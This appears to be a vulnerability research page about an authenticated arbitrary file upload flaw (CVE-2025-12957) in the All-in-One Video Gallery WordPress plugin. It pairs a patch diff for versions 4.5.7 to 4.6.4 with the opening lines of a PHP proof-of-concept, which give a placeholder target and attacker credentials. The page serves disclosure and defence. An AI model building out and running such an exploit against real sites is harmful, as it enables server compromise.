  * License:         GPL-2.0+
@@ -68,7 +68,7 @@
 }
 // The current version of the plugin
 if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
-    define( 'AIOVG_PLUGIN_VERSION', '4.5.7' );
+    define( 'AIOVG_PLUGIN_VERSION', '4.6.4' );
 }
 // The unique identifier of the plugin
 if ( !defined( 'AIOVG_PLUGIN_SLUG' ) ) {
--- a/all-in-one-video-gallery/freemius/includes/class-freemius.php
+++ b/all-in-one-video-gallery/freemius/includes/class-freemius.php
@@ -14034,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -21667,6 +21671,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21746,6 +21752,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21766,6 +21774,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
--- a/all-in-one-video-gallery/freemius/includes/entities/class-fs-payment.php
+++ b/all-in-one-video-gallery/freemius/includes/entities/class-fs-payment.php
@@ -132,10 +132,11 @@
          */
         function formatted_gross()
         {
+            $price = $this->gross + $this->vat;
             return (
-                ( $this->gross < 0 ? '-' : '' ) .
+                ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
-                number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' .
+                number_format( abs( $price ), 2, '.', ',' ) . ' ' .
                 strtoupper( $this->currency )
             );
         }
--- a/all-in-one-video-gallery/freemius/includes/entities/class-fs-site.php
+++ b/all-in-one-video-gallery/freemius/includes/entities/class-fs-site.php
@@ -202,7 +202,7 @@
                 // Vendasta
                 ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) ||
                 // InstaWP
-                fs_ends_with( $subdomain, '.instawp.xyz' ) ||
+                ( fs_ends_with( $subdomain, '.instawp.co' ) || fs_ends_with( $subdomain, '.instawp.link' ) || fs_ends_with( $subdomain, '.instawp.xyz' ) ) ||
                 // 10Web Hosting
                 ( fs_ends_with( $subdomain, '-dev.10web.site' ) || fs_ends_with( $subdomain, '-dev.10web.cloud' ) )
             );
@@ -220,6 +220,8 @@
             // Services aimed at providing a WordPress sandbox environment.
             $sandbox_wp_environment_domains = array(
                 // InstaWP
+                'instawp.co',
+                'instawp.link',
                 'instawp.xyz',

                 // TasteWP
--- a/all-in-one-video-gallery/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/all-in-one-video-gallery/freemius/includes/managers/class-fs-checkout-manager.php
@@ -12,7 +12,36 @@

 	class FS_Checkout_Manager {

-		# region Singleton
+        /**
+         * Allowlist of query parameters for checkout.
+         */
+        private $_allowed_custom_params = array(
+            // currency
+            'currency'                      => true,
+            'default_currency'              => true,
+            // cart
+            'always_show_renewals_amount'   => true,
+            'annual_discount'               => true,
+            'billing_cycle'                 => true,
+            'billing_cycle_selector'        => true,
+            'bundle_discount'               => true,
+            'maximize_discounts'            => true,
+            'multisite_discount'            => true,
+            'show_inline_currency_selector' => true,
+            'show_monthly'                  => true,
+            // appearance
+            'form_position'                 => true,
+            'is_bundle_collapsed'           => true,
+            'layout'                        => true,
+            'refund_policy_position'        => true,
+            'show_refund_badge'             => true,
+            'show_reviews'                  => true,
+            'show_upsells'                  => true,
+            'title'                         => true,
+        );
+
+
+        # region Singleton

 		/**
 		 * @var FS_Checkout_Manager
@@ -153,7 +182,12 @@
 				( $fs->is_theme() && current_user_can( 'install_themes' ) )
 			);

-			return array_merge( $context_params, $_GET, array(
+            $filtered_params = $fs->apply_filters('checkout/parameters', $context_params);
+
+            // Allowlist only allowed query params.
+            $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);
+
+            return array_merge( $context_params, $filtered_params, $_GET, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
@@ -239,4 +273,4 @@
 		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
 			return $fs->get_unique_affix() . '_checkout_redirect';
 		}
-	}
 No newline at end of file
+	}
--- a/all-in-one-video-gallery/freemius/start.php
+++ b/all-in-one-video-gallery/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.12.2';
+	$this_sdk_version = '2.13.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -446,6 +446,7 @@
 	 *      fs_plugin_icon_{plugin_slug}
 	 *      fs_show_trial_{plugin_slug}
 	 *      fs_is_pricing_page_visible_{plugin_slug}
+	 *      fs_checkout/parameters_{plugin_slug}
 	 *
 	 * --------------------------------------------------------
 	 *
@@ -453,6 +454,8 @@
 	 *
 	 *      fs_after_license_loaded_{plugin_slug}
 	 *      fs_after_license_change_{plugin_slug}
+	 *      fs_after_license_activation_{plugin_slug}
+	 *      fs_after_license_deactivation_{plugin_slug}
 	 *      fs_after_plans_sync_{plugin_slug}
 	 *
 	 *      fs_after_account_details_{plugin_slug}
--- a/all-in-one-video-gallery/includes/helpers/functions.php
+++ b/all-in-one-video-gallery/includes/helpers/functions.php
@@ -260,12 +260,14 @@
     // Get image data using file_get_contents
     $image_data = @file_get_contents( $image_url );

-    if ( $image_data === false ) {
+    if ( false === $image_data ) {
         return 0;
     }

     // Create the image file on the server
-    file_put_contents( $file_path, $image_data );
+	if ( false === @file_put_contents( $file_path, $image_data ) ) {
+		return 0;
+	}

     // Create the attachment
     require_once( ABSPATH . 'wp-admin/includes/image.php' );
@@ -461,6 +463,15 @@
 		$image_id = get_post_meta( $post_id, 'image_id', true );
 		if ( ! empty( $image_id ) ) wp_delete_attachment( $image_id, true );

+		$sources = get_post_meta( $post_id, 'sources', true );
+		if ( ! empty( $sources ) && is_array( $sources ) ) {
+			foreach ( $sources as $source ) {
+				if ( ! empty( $source['src_id'] ) ) {
+					wp_delete_attachment( (int) $source['src_id'], true );
+				}
+			}
+		}
+
 		$tracks = get_post_meta( $post_id, 'track' );
 		if ( ! empty( $tracks ) ) {
 			foreach ( $tracks as $track ) {
@@ -1190,6 +1201,49 @@
 }

 /**
+ * Retrieves a page given its title.
+ *
+ * @since  4.6.2
+ * @param  string       $page_title Page title.
+ * @param  string       $output     The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond
+ *                                  to a WP_Post object, an associative array, or a numeric array, respectively.
+ * @param  string|array $post_type  Optional. Post type or array of post types. Default 'page'.
+ * @return WP_Post|array|null       WP_Post (or array) on success, or null on failure.
+ */
+function aiovg_get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
+	global $wpdb;
+
+	if ( is_array( $post_type ) ) {
+		$post_type           = esc_sql( $post_type );
+		$post_type_in_string = "'" . implode( "','", $post_type ) . "'";
+		$sql                 = $wpdb->prepare(
+			"SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type IN ($post_type_in_string)",
+			$page_title
+		);
+	} else {
+		$sql = $wpdb->prepare(
+			"SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type = %s",
+			$page_title,
+			$post_type
+		);
+	}
+
+	$page = $wpdb->get_var( $sql );
+
+	if ( $page ) {
+		return get_post( $page, $output );
+	}
+
+	return null;
+}
+
+/**
  * Get current page number.
  *
  * @since  1.0.0
@@ -2173,12 +2227,14 @@
  */
 function aiovg_insert_custom_pages() {
 	// Vars
-	if ( false === get_option( 'aiovg_page_settings' ) ) {
+	$page_settings = get_option( 'aiovg_page_settings' );
+
+	if ( ! is_array( $page_settings ) || empty( $page_settings ) ) {
 		$pages = array();
 		$page_definitions = aiovg_get_custom_pages_list();

 		foreach ( $page_definitions as $slug => $page ) {
-			$page_check = get_page_by_title( $page['title'] );
+			$page_check = aiovg_get_page_by_title( $page['title'] );

 			if ( ! isset( $page_check->ID ) ) {
 				$id = wp_insert_post(
@@ -2198,7 +2254,7 @@
 			}
 		}
 	} else {
-		$pages = get_option( 'aiovg_page_settings' );
+		$pages = $page_settings;
 	}

 	return $pages;
@@ -2215,7 +2271,7 @@

 	foreach ( $page_definitions as $slug => $page ) {
 		if ( ! array_key_exists( $slug, $pages ) ) {
-			$page_check = get_page_by_title( $page['title'] );
+			$page_check = aiovg_get_page_by_title( $page['title'] );

 			if ( ! isset( $page_check->ID ) ) {
 				$id = wp_insert_post(
--- a/all-in-one-video-gallery/includes/helpers/render.php
+++ b/all-in-one-video-gallery/includes/helpers/render.php
@@ -53,7 +53,7 @@

 	$html .= sprintf( '<div class="aiovg-dropdown-search" hidden data-stay_open="%d" data-show_search_threshold="%d">', $stay_open, $show_search_threshold );
 	$html .= sprintf( '<input type="text" placeholder="%s..." />', esc_html__( 'Search', 'all-in-one-video-gallery' ) );
-	$html .= '<button type="button" hidden>';
+	$html .= '<button type="button" tabindex="-1" hidden>';
 	$html .= '<svg xmlns="http://www.w3.org/2000/svg" fill="none" width="16" height="16" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">';
 	$html .= '<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"></path>';
 	$html .= '</svg>';
--- a/all-in-one-video-gallery/includes/init.php
+++ b/all-in-one-video-gallery/includes/init.php
@@ -172,7 +172,9 @@

 		$this->loader->add_filter( 'display_post_states', $admin, 'add_display_post_states', 10, 2 );
 		$this->loader->add_filter( 'plugin_action_links_' . AIOVG_PLUGIN_FILE_NAME, $admin, 'plugin_action_links' );
-		$this->loader->add_filter( 'wp_check_filetype_and_ext', $admin, 'add_filetype_and_ext', 10, 4 );
+		$this->loader->add_filter( 'upload_mimes', $admin, 'add_mime_types' );
+		$this->loader->add_filter( 'wp_check_filetype_and_ext', $admin, 'add_filetype_and_ext', 10, 4 );
+		$this->loader->add_filter( 'wp_handle_upload_prefilter', $admin, 'wp_handle_upload_prefilter' );

 		// Hooks specific to the videos page
 		$videos = new AIOVG_Admin_Videos();
@@ -326,7 +328,6 @@

 		$this->loader->add_filter( 'template_include', $video, 'template_include', 999 );
 		$this->loader->add_filter( 'show_admin_bar', $video, 'remove_admin_bar' );
-		$this->loader->add_filter( 'upload_mimes', $video, 'add_mime_types' );
 		$this->loader->add_filter( 'aiovg_iframe_videojs_player_sources', $video, 'filter_player_sources', 10, 2 );
 		$this->loader->add_filter( 'aiovg_iframe_vidstack_player_sources', $video, 'filter_player_sources', 10, 2 );
 		$this->loader->add_filter( 'aiovg_videojs_player_sources', $video, 'filter_player_sources', 10, 2 );
--- a/all-in-one-video-gallery/public/templates/player-videojs.php
+++ b/all-in-one-video-gallery/public/templates/player-videojs.php
@@ -734,7 +734,7 @@
 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li:focus {
 			margin-bottom: 1px;
 			border-radius: 2px;
-			background-color: rgba( 0, 0, 0, 0.8 );
+			background-color: rgba( 43, 51, 63, 0.7 );
 			padding: 0.5em;
 			color: #fff;
 			text-transform: initial;
@@ -742,13 +742,13 @@

 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li:hover,
 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li:focus {
-			background-color: #000;
+			background-color: rgba( 0, 0, 0, 0.8 );
 		}

 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li.vjs-selected,
 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li.vjs-selected:hover,
 		.aiovg-player .video-js .vjs-menu-button-popup .vjs-menu li.vjs-selected:focus {
-			background-color: #fff;
+			background-color: rgba( 255, 255, 255, 0.9 );
 			color: #000;
 		}

--- a/all-in-one-video-gallery/public/templates/video-thumbnail-image-left.php
+++ b/all-in-one-video-gallery/public/templates/video-thumbnail-image-left.php
@@ -22,271 +22,265 @@
 $has_access = aiovg_current_user_can( 'play_aiovg_video', $post->ID );
 ?>

-<div class="aiovg-thumbnail aiovg-thumbnail-style-image-left">
-    <div class="aiovg-row">
-        <div class="aiovg-col aiovg-col-p-40">
-            <?php
-            echo sprintf(
-                '<a href="%s" class="aiovg-responsive-container" style="padding-bottom: %s;">',
-                esc_url( get_permalink() ),
-                esc_attr( $attributes['ratio'] )
-            );
+<div class="aiovg-thumbnail aiovg-thumbnail-image-left">
+    <?php
+    echo sprintf(
+        '<a href="%s" class="aiovg-responsive-container" style="padding-bottom: %s;">',
+        esc_url( get_permalink() ),
+        esc_attr( $attributes['ratio'] )
+    );
+
+    // Image
+    echo sprintf(
+        '<img src="%s" alt="%s" class="aiovg-responsive-element"%s/>',
+        esc_url( $image ),
+        esc_attr( $image_alt ),
+        ( ! empty( $general_settings['lazyloading'] ) ? ' loading="lazy"' : '' )
+    );
+
+    // Duration
+    if ( $attributes['show_duration'] && ! empty( $post_meta['duration'][0] ) ) {
+        echo sprintf(
+            '<div class="aiovg-duration">%s</div>',
+            esc_html( $post_meta['duration'][0] )
+        );
+    }
+
+    // Play Icon
+    if ( $has_access ) {
+        echo '<svg xmlns="http://www.w3.org/2000/svg" fill="white" width="40" height="40" viewBox="0 0 24 24" class="aiovg-svg-icon-play aiovg-flex-shrink-0">
+            <path fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12Zm14.024-.983a1.125 1.125 0 0 1 0 1.966l-5.603 3.113A1.125 1.125 0 0 1 9 15.113V8.887c0-.857.921-1.4 1.671-.983l5.603 3.113Z" clip-rule="evenodd" />
+        </svg>';
+    } else {
+        echo '<svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="32" height="32" viewBox="0 0 50 50" class="aiovg-svg-icon-locked aiovg-flex-shrink-0">
+            <path d="M 25 3 C 18.363281 3 13 8.363281 13 15 L 13 20 L 9 20 C 7.300781 20 6 21.300781 6 23 L 6 47 C 6 48.699219 7.300781 50 9 50 L 41 50 C 42.699219 50 44 48.699219 44 47 L 44 23 C 44 21.300781 42.699219 20 41 20 L 37 20 L 37 15 C 37 8.363281 31.636719 3 25 3 Z M 25 5 C 30.566406 5 35 9.433594 35 15 L 35 20 L 15 20 L 15 15 C 15 9.433594 19.433594 5 25 5 Z M 25 30 C 26.699219 30 28 31.300781 28 33 C 28 33.898438 27.601563 34.6875 27 35.1875 L 27 38 C 27 39.101563 26.101563 40 25 40 C 23.898438 40 23 39.101563 23 38 L 23 35.1875 C 22.398438 34.6875 22 33.898438 22 33 C 22 31.300781 23.300781 30 25 30 Z"></path>
+        </svg>';
+    }
+
+    // After Thumbnail Image
+    the_aiovg_content_after_thumbnail_image( $attributes );
+
+    echo '</a>';
+    ?>
+
+    <div class="aiovg-caption">
+        <?php if ( $attributes['show_title'] ) : ?>
+            <div class="aiovg-title">
+                <?php
+                $filtered_title  = '<a href="' . esc_url( get_permalink() ) . '" class="aiovg-link-title">';
+                $filtered_title .= wp_kses_post( aiovg_truncate( get_the_title(), $attributes['title_length'] ) );
+                $filtered_title .= '</a>';
+                $filtered_title = apply_filters( 'aiovg_the_title', $filtered_title, $post->ID );

-            // Image
-            echo sprintf(
-                '<img src="%s" alt="%s" class="aiovg-responsive-element"%s/>',
-                esc_url( $image ),
-                esc_attr( $image_alt ),
-                ( ! empty( $general_settings['lazyloading'] ) ? ' loading="lazy"' : '' )
-            );
+                echo $filtered_title;
+                ?>
+            </div>
+        <?php endif; ?>
+
+        <?php
+        // Labels
+        if ( ! $has_access ) {
+            $restrictions_settings = aiovg_get_option( 'aiovg_restrictions_settings' );
+
+            if ( ! empty( $restrictions_settings['show_restricted_label'] ) && ! empty( $restrictions_settings['restricted_label_text'] ) ) {
+                $styles = array();

-            // Duration
-            if ( $attributes['show_duration'] && ! empty( $post_meta['duration'][0] ) ) {
-                echo sprintf(
-                    '<div class="aiovg-duration">%s</div>',
-                    esc_html( $post_meta['duration'][0] )
+                if ( $restricted_label_bg_color = $restrictions_settings['restricted_label_bg_color'] ) {
+                    $styles[] = sprintf( 'background-color: %s', $restricted_label_bg_color );
+                }
+
+                if ( $restricted_label_text_color = $restrictions_settings['restricted_label_text_color'] ) {
+                    $styles[] = sprintf( 'color: %s', $restricted_label_text_color );
+                }
+
+                printf(
+                    '<div class="aiovg-labels"><span class="aiovg-restricted-label" style="%s">%s</span></div>',
+                    esc_attr( implode( '; ', $styles ) ),
+                    esc_html( $restrictions_settings['restricted_label_text'] )
                 );
             }
+        }
+        ?>

-            // Play Icon
-            if ( $has_access ) {
-                echo '<svg xmlns="http://www.w3.org/2000/svg" fill="white" width="40" height="40" viewBox="0 0 24 24" class="aiovg-svg-icon-play aiovg-flex-shrink-0">
-                    <path fill-rule="evenodd" d="M2.25 12c0-5.385 4.365-9.75 9.75-9.75s9.75 4.365 9.75 9.75-4.365 9.75-9.75 9.75S2.25 17.385 2.25 12Zm14.024-.983a1.125 1.125 0 0 1 0 1.966l-5.603 3.113A1.125 1.125 0 0 1 9 15.113V8.887c0-.857.921-1.4 1.671-.983l5.603 3.113Z" clip-rule="evenodd" />
-                </svg>';
-            } else {
-                echo '<svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="32" height="32" viewBox="0 0 50 50" class="aiovg-svg-icon-locked aiovg-flex-shrink-0">
-                    <path d="M 25 3 C 18.363281 3 13 8.363281 13 15 L 13 20 L 9 20 C 7.300781 20 6 21.300781 6 23 L 6 47 C 6 48.699219 7.300781 50 9 50 L 41 50 C 42.699219 50 44 48.699219 44 47 L 44 23 C 44 21.300781 42.699219 20 41 20 L 37 20 L 37 15 C 37 8.363281 31.636719 3 25 3 Z M 25 5 C 30.566406 5 35 9.433594 35 15 L 35 20 L 15 20 L 15 15 C 15 9.433594 19.433594 5 25 5 Z M 25 30 C 26.699219 30 28 31.300781 28 33 C 28 33.898438 27.601563 34.6875 27 35.1875 L 27 38 C 27 39.101563 26.101563 40 25 40 C 23.898438 40 23 39.101563 23 38 L 23 35.1875 C 22.398438 34.6875 22 33.898438 22 33 C 22 31.300781 23.300781 30 25 30 Z"></path>
-                </svg>';
-            }
+        <?php
+        $meta = array();

-            // After Thumbnail Image
-            the_aiovg_content_after_thumbnail_image( $attributes );
+        // Author
+        if ( $attributes['show_user'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" width="16" height="16" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M15.75 6a3.75 3.75 0 1 1-7.5 0 3.75 3.75 0 0 1 7.5 0ZM4.501 20.118a7.5 7.5 0 0 1 14.998 0A17.933 17.933 0 0 1 12 21.75c-2.676 0-5.216-.584-7.499-1.632Z" />
+            </svg>';
+
+            $author_url = aiovg_get_user_videos_page_url( $post->post_author );
+
+            $meta['user'] = sprintf(
+                '%s<a href="%s" class="aiovg-link-author">%s</a>',
+                $icon,
+                esc_url( $author_url ),
+                esc_html( get_the_author() )
+            );
+        }
+
+        // Date
+        if ( $attributes['show_date'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" width="16" height="16" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M6.75 3v2.25M17.25 3v2.25M3 18.75V7.5a2.25 2.25 0 0 1 2.25-2.25h13.5A2.25 2.25 0 0 1 21 7.5v11.25m-18 0A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75m-18 0v-7.5A2.25 2.25 0 0 1 5.25 9h13.5A2.25 2.25 0 0 1 21 11.25v7.5m-9-6h.008v.008H12v-.008ZM12 15h.008v.008H12V15Zm0 2.25h.008v.008H12v-.008ZM9.75 15h.008v.008H9.75V15Zm0 2.25h.008v.008H9.75v-.008ZM7.5 15h.008v.008H7.5V15Zm0 2.25h.008v.008H7.5v-.008Zm6.75-4.5h.008v.008h-.008v-.008Zm0 2.25h.008v.008h-.008V15Zm0 2.25h.008v.008h-.008v-.008Zm2.25-4.5h.008v.008H16.5v-.008Zm0 2.25h.008v.008H16.5V15Z" />
+            </svg>';
+
+            $meta['date'] = sprintf(
+                '%s<time>%s</time>',
+                $icon,
+                esc_html( aiovg_get_the_date() )
+            );
+        }
+
+        // Views
+        if ( $attributes['show_views'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" width="16" height="16" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M2.036 12.322a1.012 1.012 0 0 1 0-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178Z" />
+                <path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" />
+            </svg>';
+
+            $meta['views'] = sprintf(
+                '%s<span class="aiovg-views-count">%s</span><span class="aiovg-views-label">%s</span>',
+                $icon,
+                ( isset( $post_meta['views'] ) ? esc_html( aiovg_format_count( $post_meta['views'][0] ) ) : 0 ),
+                esc_html__( 'views', 'all-in-one-video-gallery' )
+            );
+        }

-            echo '</a>';
-            ?>
-        </div>
-
-        <div class="aiovg-col aiovg-col-p-60">
-            <div class="aiovg-caption">
-                <?php if ( $attributes['show_title'] ) : ?>
-                    <div class="aiovg-title">
-                        <?php
-                        $filtered_title  = '<a href="' . esc_url( get_permalink() ) . '" class="aiovg-link-title">';
-                        $filtered_title .= wp_kses_post( aiovg_truncate( get_the_title(), $attributes['title_length'] ) );
-                        $filtered_title .= '</a>';
-                        $filtered_title = apply_filters( 'aiovg_the_title', $filtered_title, $post->ID );
-
-                        echo $filtered_title;
-                        ?>
-                    </div>
-                <?php endif; ?>
+        // Likes
+        if ( $attributes['show_likes'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M6.633 10.25c.806 0 1.533-.446 2.031-1.08a9.041 9.041 0 0 1 2.861-2.4c.723-.384 1.35-.956 1.653-1.715a4.498 4.498 0 0 0 .322-1.672V2.75a.75.75 0 0 1 .75-.75 2.25 2.25 0 0 1 2.25 2.25c0 1.152-.26 2.243-.723 3.218-.266.558.107 1.282.725 1.282m0 0h3.126c1.026 0 1.945.694 2.054 1.715.045.422.068.85.068 1.285a11.95 11.95 0 0 1-2.649 7.521c-.388.482-.987.729-1.605.729H13.48c-.483 0-.964-.078-1.423-.23l-3.114-1.04a4.501 4.501 0 0 0-1.423-.23H5.904m10.598-9.75H14.25M5.904 18.5c.083.205.173.405.27.602.197.4-.078.898-.523.898h-.908c-.889 0-1.713-.518-1.972-1.368a12 12 0 0 1-.521-3.507c0-1.553.295-3.036.831-4.398C3.387 9.953 4.167 9.5 5 9.5h1.053c.472 0 .745.556.5.96a8.958 8.958 0 0 0-1.302 4.665c0 1.194.232 2.333.654 3.375Z" />
+            </svg>';
+
+            $meta['likes'] = sprintf(
+                '%s<span class="aiovg-likes-count">%s</span><span class="aiovg-likes-label">%s</span>',
+                $icon,
+                ( isset( $post_meta['likes'] ) ? esc_html( aiovg_format_count( $post_meta['likes'][0] ) ) : 0 ),
+                esc_html__( 'likes', 'all-in-one-video-gallery' )
+            );
+        }

-                <?php
-                // Labels
-                if ( ! $has_access ) {
-                    $restrictions_settings = aiovg_get_option( 'aiovg_restrictions_settings' );
-
-                    if ( ! empty( $restrictions_settings['show_restricted_label'] ) && ! empty( $restrictions_settings['restricted_label_text'] ) ) {
-                        $styles = array();
-
-                        if ( $restricted_label_bg_color = $restrictions_settings['restricted_label_bg_color'] ) {
-                            $styles[] = sprintf( 'background-color: %s', $restricted_label_bg_color );
-                        }
-
-                        if ( $restricted_label_text_color = $restrictions_settings['restricted_label_text_color'] ) {
-                            $styles[] = sprintf( 'color: %s', $restricted_label_text_color );
-                        }
-
-                        printf(
-                            '<div class="aiovg-labels"><span class="aiovg-restricted-label" style="%s">%s</span></div>',
-                            esc_attr( implode( '; ', $styles ) ),
-                            esc_html( $restrictions_settings['restricted_label_text'] )
-                        );
-                    }
-                }
-                ?>
+        // Dislikes
+        if ( $attributes['show_dislikes'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M7.498 15.25H4.372c-1.026 0-1.945-.694-2.054-1.715a12.137 12.137 0 0 1-.068-1.285c0-2.848.992-5.464 2.649-7.521C5.287 4.247 5.886 4 6.504 4h4.016a4.5 4.5 0 0 1 1.423.23l3.114 1.04a4.5 4.5 0 0 0 1.423.23h1.294M7.498 15.25c.618 0 .991.724.725 1.282A7.471 7.471 0 0 0 7.5 19.75 2.25 2.25 0 0 0 9.75 22a.75.75 0 0 0 .75-.75v-.633c0-.573.11-1.14.322-1.672.304-.76.93-1.33 1.653-1.715a9.04 9.04 0 0 0 2.86-2.4c.498-.634 1.226-1.08 2.032-1.08h.384m-10.253 1.5H9.7m8.075-9.75c.01.05.027.1.05.148.593 1.2.925 2.55.925 3.977 0 1.487-.36 2.89-.999 4.125m.023-8.25c-.076-.365.183-.75.575-.75h.908c.889 0 1.713.518 1.972 1.368.339 1.11.521 2.287.521 3.507 0 1.553-.295 3.036-.831 4.398-.306.774-1.086 1.227-1.918 1.227h-1.053c-.472 0-.745-.556-.5-.96a8.95 8.95 0 0 0 .303-.54" />
+            </svg>';
+
+            $meta['dislikes'] = sprintf(
+                '%s<span class="aiovg-dislikes-count">%s</span><span class="aiovg-dislikes-label">%s</span>',
+                $icon,
+                ( isset( $post_meta['dislikes'] ) ? esc_html( aiovg_format_count( $post_meta['dislikes'][0] ) ) : 0 ),
+                esc_html__( 'dislikes', 'all-in-one-video-gallery' )
+            );
+        }

-                <?php
-                $meta = array();
+        // Comments
+        if ( $attributes['show_comments'] ) {
+            $icon = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
+                <path stroke-linecap="round" stroke-linejoin="round" d="M8.625 9.75a.375.375 0 1 1-.75 0 .375.375 0 0 1 .75 0Zm0 0H8.25m4.125 0a.375.375 0 1 1-.75 0 .375.375 0 0 1 .75 0Zm0 0H12m4.125 0a.375.375 0 1 1-.75 0 .375.375 0 0 1 .75 0Zm0 0h-.375m-13.5 3.01c0 1.6 1.123 2.994 2.707 3.227 1.087.16 2.185.283 3.293.369V21l4.184-4.183a1.14 1.14 0 0 1 .778-.332 48.294 48.294 0 0 0 5.83-.498c1.585-.233 2.708-1.626 2.708-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z" />
+            </svg>';
+
+            $meta['comments'] = sprintf(
+                '%s<span class="aiovg-comments-count">%s</span><span class="aiovg-comments-label">%s</span>',
+                $icon,
+                esc_html( aiovg_format_count( get_comments_number( $post->ID ) ) ),
+                esc_html__( 'comments', 'all-in-one-video-gallery' )
+            );
+        }

-                // Author
-                if ( $attributes['show_user'] ) {
-                    $icon = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" width="16" height="16" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="aiovg-flex-shrink-0">
-                        <path stroke-linecap="round" stroke-linejoin="round" d="M15.75 6a3.75 3.75 0 1 1-7.5 0 3.75 3.75 0 0 1 7.5 0ZM4.501 20.118a7.5 7.5 0 0 1 14.998 0A17.933 17.933 0 0 1 12 21.75c-2.676 0-5.216-.584-7.499-1.632Z" />
-                    </svg>';
-
-                    $author_url = aiovg_get_user_videos_page_url( $post->post_author );
-
-                    $meta['user'] = sprintf(
-                        '%s<a href="%s" class="aiovg-link-author">%s</a>',
-                  

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12957 - All-in-One Video Gallery <= 4.5.7 - Authenticated (Author+) Arbitrary File Upload via VTT Upload Bypass

<?php

$target_url = "https://vulnerable-site.com"; // CHANGE THIS
$username = "attacker"; // Author-level account
$password = "password123";
